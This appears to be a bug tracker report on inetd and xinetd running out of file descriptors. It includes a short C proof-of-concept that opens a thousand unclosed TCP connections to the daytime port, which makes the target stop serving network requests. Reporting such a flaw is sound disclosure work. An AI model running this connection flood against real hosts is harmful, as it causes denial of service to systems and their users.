Bug 26899

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Using a simple program that loops and does a connect() call to a port under inetd's control without a close()
will make inetd stop responding saying Too many open files

Reproducible: Always
Steps to Reproduce:
Compile the following program after changing SOMEHOSTNAME

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <string.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>

main()
{
        int i,s;
        struct sockaddr_in sin;
        struct hostent *hent;

        memset(&sin, 0, sizeof sin);
        sin.sin_family = AF_INET;
        sin.sin_port = htons(13); 

        hent = gethostbyname("SOMEHOSTNAME");
        memcpy(&sin.sin_addr, hent->h_addr, hent->h_length);
                
        for (i = 0; i < 1000; i++)
        {
                printf("%d\n", i);
                s = socket(AF_INET, SOCK_STREAM, 0);
                connect (s, &sin, sizeof sin);
        }
}


Change the entry in the inetd.conf so the nowait is set to nowait.1000

Actual Results:  In the log messages will appear:

inetd[XXX]: accept (for daytime): Too many files open

Expected Results:  Inetd should not fill up its table and stop network services running.  This may be a limitation in TCP/IP but I
am not sure

This causes a denial of service attack on RedHat boxes running inetd and xinetd.